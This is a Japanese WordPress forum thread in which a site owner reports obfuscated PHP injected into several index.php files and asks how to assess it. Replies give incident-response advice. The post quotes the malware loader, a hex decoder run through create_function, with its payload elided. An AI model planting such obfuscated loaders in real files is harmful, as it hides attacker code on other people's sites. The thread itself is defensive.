• お世話になります。
    数年程wordpressでサイトを運用しているのですが、どうやらwordpressのindex.phpなどファイルに不正なコードを埋め込まれたようで困っています。下記に調べたことなどを書きます。

    ■調べた事
    サイトを見た所TOPページにへんな文字列が挿入されていたので調べてみると下記のコードが埋め込まれていました。

    <?php /*640db48ec2bddd8591010e2684b9db12*/                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    $fileChecksum="69662821646566-----スゴイ数字の文字列数千文字-----
    -----0";              if(!function_exists("hex2asc")){function hex2asc($in){$j=strlen($in)/2;for($i=0;$i<$j;$i++){$out.=chr(base_convert(substr($in,$i*2,2),16,10));}return $out;}}              $fileChecksum = create_function(null, hex2asc($fileChecksum));              $fileChecksum(); ?>

    640db48ec2bddd8591010e2684b9db12 //md5(‘zalupa’)
    このHash値はmd5した値という事はわかりました。zalupaというワードは分かってもそこから先はなにも分かっていません。

    find . -type f -name “*.php” | xargs grep “fileChecksum”
    index.php
    ./wp-content/index.php
    ./wp-content/themes/index.php
    改ざんされたと思われるファイル。どれも更新時間は今日のam.3時頃でした。

    色々と調べたのですが、類似したコードが埋まられている事例は見つけられませんでした。
    念のために、サーバのパスワード等は変更しましたが原因の究明は至って居ないため、なにかアドバイスを頂ければと思い投稿しました。

    アドバイス頂きたい事

    1. 埋め込まれたコードの影響()
    2. 対処すべきファイル(パーミッションやキャッシュ削除など)
    3. 侵入経路など(原因の究明のため)

    -色々調べてみたサイト

6件の返信を表示中 - 1 - 6件目 (全6件中)
  • 私からアドバイスはできませんがもしかしたら

    $fileChecksum = create_function(null, hex2asc($fileChecksum));              $fileChecksum();

    の部分を消してecho hex2asc($fileChecksum);すれば実行されてたコードの手掛かりがつかめるかも…(でも大抵の場合何重にも難読化されてるか…)

    あ、もちろん試す際は隔離された確実に安全な場所で。

    モデレーター Daisuke Takahashi

    (@extendwings)

    http://ja.forums.wordpress.org/topic/11794?replies=1 を読んで、サーバについてなど必要な情報を書くようにしてください。
    どういう動作をするコードなのかは、差し支えなければindex.phpをGistなどで共有していただければわかると思います。

    モデレーター Seisuke Kuraishi

    (@tenpura)

    kazuhiro3さん

    FAQ/ハッキング・クラッキング被害 を読んでください。

    まず行うべきことは、サーバー管理会社に被害の報告を行うことです。サーバー自体がクラッキングされている可能性もあります。以下をサーバー管理会社に依頼してください。

    • 侵入経路の調査
    • 改竄されたファイルの特定
    • 直近のバックアップからのクリーンな状態への復旧(可能であれば)

    どういう動作をするコードなのかは、差し支えなければindex.phpをGistなどで共有していただければわかると思います。

    誰かが誤って実行してしまった場合に被害が広がる可能性があるのでコードの公開は絶対に行わないでください。

    トピック投稿者 kazuhiro3

    (@kazuhiro3)

    >Hinaloe さん
    >Daisuke Takahashi さん
    ご回答ありがとうございます。危険なコードであるため、全てを公開することは辞めようと思います。

    >Seisuke Kuraishi さん
    ありがとうございます。サーバについては私がAWS上に作った物で、sshの鍵認証を行ってログインしています。ただこのような事態に陥ったことがなくどのように調査を行っていいのかわかりません。
    侵入経路の調査を実地してようと思います。
    改竄されたファイルの特定はindex.php(各ディレクトリ)のみのようです。編集された時間は機能のAM3時頃です。
    直近のバックアップからのクリーンな状態への復旧(可能であれば) >> こちらバックアップを取っていないので、今はできませんでした。

    皆様、色々とアドバイスありがとうございます。このような事態は初めてで非常に混乱しておりますが、色々とググりながら調べてようとおもいます。なにか分かった事があればご報告させていただこうと思います。

    モデレーター gatespace

    (@gatespace)

    ちょっとだけヒント。

    サーバについては私がAWS上に作った物で、sshの鍵認証を行ってログインしています。

    サーバーにログインしてファイルを書き換える経路「以外」にも、
    WordPressのログイン情報が漏れて書き換えられる可能性も考慮した方が良いかと。

    管理者権限のログイン情報が漏れると、(何もしていなければ)zip形式にした悪意のあるコードを埋め込んだプラグインやテーマをアップロードすることも出来ますし、プラグイン編集やテーマ編集から悪意のあるコードを埋め込む事も出来ます。

    自分のブログで恐縮ですが
    http://gatespace.jp/2014/06/20/wordpress-security/

    なので、WordPressのログインのパスワードも変えてください。
    その後でもいいので管理画面へのBasic認証やIPアドレス制限を入れた方が良いかも。

    トピック投稿者 kazuhiro3

    (@kazuhiro3)

    > gatespace さん
    ありがとうございます! 追えそうなログや、パスワード系など変更できそうな所はおこないました。 まだ原因の特定には至って折りませんが調査を続けています。ブログ参考に致します、ありがとうございます。

6件の返信を表示中 - 1 - 6件目 (全6件中)
  • トピック「PHPファイルに不正なコードが埋め込まれてしまいました」には新たに返信することはできません。